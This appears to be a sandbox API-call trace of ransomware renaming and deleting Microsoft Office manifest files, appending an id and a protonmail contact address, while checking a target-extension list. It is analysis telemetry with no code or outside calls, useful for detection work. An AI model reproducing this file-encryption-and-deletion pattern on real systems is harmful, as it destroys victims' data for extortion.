	[0066.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0066.572] GetLastError () returned 0x0
	[0066.572] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xc3863, lpOverlapped=0x0) returned 1
	[0066.799] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xc3870, lpOverlapped=0x0) returned 1
	[0066.814] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.814] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.815] SetEndOfFile (hFile=0x340) returned 1
	[0066.815] CloseHandle (hObject=0x340) returned 1
	[0067.295] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.295] SetEndOfFile (hFile=0x334) returned 1
	[0067.314] CloseHandle (hObject=0x334) returned 1
	[0067.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1
	[0067.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.314] lstrlenW (lpString=".doc") returned 4
	[0067.314] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.314] lstrlenW (lpString=".docx") returned 5
	[0067.314] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.314] lstrlenW (lpString=".pdf") returned 4
	[0067.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.314] lstrlenW (lpString=".xls") returned 4
	[0067.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString=".xlsx") returned 5
	[0067.315] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.315] lstrlenW (lpString=".ppt") returned 4
	[0067.315] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString=".zip") returned 4
	[0067.315] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.315] lstrlenW (lpString=".rar") returned 4
	[0067.315] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString=".bz2") returned 4
	[0067.315] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString=".7z") returned 3
	[0067.315] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString=".dbf") returned 4
	[0067.315] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString=".1cd") returned 4
	[0067.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString=".jpg") returned 4
	[0067.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.315] lstrlenW (lpString=".doc") returned 4
	[0067.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString=".docx") returned 5
	[0067.315] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.315] lstrlenW (lpString=".pdf") returned 4
	[0067.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.315] lstrlenW (lpString=".xls") returned 4
	[0067.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString=".xlsx") returned 5
	[0067.316] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.316] lstrlenW (lpString=".ppt") returned 4
	[0067.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.316] lstrlenW (lpString=".zip") returned 4
	[0067.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.316] lstrlenW (lpString=".rar") returned 4
	[0067.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString=".bz2") returned 4
	[0067.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString=".7z") returned 3
	[0067.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.316] lstrlenW (lpString=".dbf") returned 4
	[0067.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.316] lstrlenW (lpString=".1cd") returned 4
	[0067.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0067.316] lstrlenW (lpString=".jpg") returned 4
	[0067.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.316] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.316] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53
	[0067.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.317] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0067.317] CloseHandle (hObject=0x334) returned 1
	[0067.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0067.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.317] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.317] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.317] GetLastError () returned 0x0
	[0067.317] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0067.320] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0067.321] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.321] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.321] SetEndOfFile (hFile=0x340) returned 1
	[0067.321] CloseHandle (hObject=0x340) returned 1
	[0067.322] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.322] SetEndOfFile (hFile=0x334) returned 1
	[0067.323] CloseHandle (hObject=0x334) returned 1
	[0067.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.323] lstrlenW (lpString=".doc") returned 4
	[0067.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString=".docx") returned 5
	[0067.324] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.324] lstrlenW (lpString=".pdf") returned 4
	[0067.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString=".xls") returned 4
	[0067.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString=".xlsx") returned 5
	[0067.324] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.324] lstrlenW (lpString=".ppt") returned 4
	[0067.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.324] lstrlenW (lpString=".zip") returned 4
	[0067.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.324] lstrlenW (lpString=".rar") returned 4
	[0067.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString=".bz2") returned 4
	[0067.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString=".7z") returned 3
	[0067.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.324] lstrlenW (lpString=".dbf") returned 4
	[0067.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.324] lstrlenW (lpString=".1cd") returned 4
	[0067.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.324] lstrlenW (lpString=".jpg") returned 4
	[0067.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.325] lstrlenW (lpString=".doc") returned 4
	[0067.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString=".docx") returned 5
	[0067.325] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.325] lstrlenW (lpString=".pdf") returned 4
	[0067.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString=".xls") returned 4
	[0067.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString=".xlsx") returned 5
	[0067.325] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.325] lstrlenW (lpString=".ppt") returned 4
	[0067.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.325] lstrlenW (lpString=".zip") returned 4
	[0067.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.325] lstrlenW (lpString=".rar") returned 4
	[0067.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString=".bz2") returned 4
	[0067.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString=".7z") returned 3
	[0067.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.325] lstrlenW (lpString=".dbf") returned 4
	[0067.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.325] lstrlenW (lpString=".1cd") returned 4
	[0067.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0067.325] lstrlenW (lpString=".jpg") returned 4
	[0067.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.326] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.326] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53
	[0067.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.326] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1261) returned 1
	[0067.326] CloseHandle (hObject=0x334) returned 1
	[0067.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0067.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0067.326] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.326] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0067.327] GetLastError () returned 0x0
	[0067.327] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0067.379] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0067.380] ReadFile (in: hFile=0x334, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.380] WriteFile (in: hFile=0x340, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.380] SetEndOfFile (hFile=0x340) returned 1
	[0067.380] CloseHandle (hObject=0x340) returned 1
	[0067.381] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.381] SetEndOfFile (hFile=0x334) returned 1
	[0067.382] CloseHandle (hObject=0x334) returned 1
	[0067.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.383] lstrlenW (lpString=".doc") returned 4
	[0067.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.383] lstrlenW (lpString=".docx") returned 5
	[0067.383] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.383] lstrlenW (lpString=".pdf") returned 4
	[0067.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.383] lstrlenW (lpString=".xls") returned 4
	[0067.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.383] lstrlenW (lpString=".xlsx") returned 5
	[0067.383] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.383] lstrlenW (lpString=".ppt") returned 4
	[0067.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.383] lstrlenW (lpString=".zip") returned 4
	[0067.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.383] lstrlenW (lpString=".rar") returned 4
	[0067.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.383] lstrlenW (lpString=".bz2") returned 4
	[0067.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString=".7z") returned 3
	[0067.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString=".dbf") returned 4
	[0067.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString=".1cd") returned 4
	[0067.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString=".jpg") returned 4
	[0067.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString=".doc") returned 4
	[0067.384] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString=".docx") returned 5
	[0067.384] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.384] lstrlenW (lpString=".pdf") returned 4
	[0067.384] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString=".xls") returned 4
	[0067.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString=".xlsx") returned 5
	[0067.384] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.384] lstrlenW (lpString=".ppt") returned 4
	[0067.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.384] lstrlenW (lpString=".zip") returned 4
	[0067.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.384] lstrlenW (lpString=".rar") returned 4
	[0067.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.384] lstrlenW (lpString=".bz2") returned 4
	[0067.385] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.385] lstrlenW (lpString=".7z") returned 3
	[0067.385] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.385] lstrlenW (lpString=".dbf") returned 4
	[0067.385] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.385] lstrlenW (lpString=".1cd") returned 4
	[0067.385] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0067.385] lstrlenW (lpString=".jpg") returned 4
	[0067.385] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.385] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.385] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53
	[0067.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
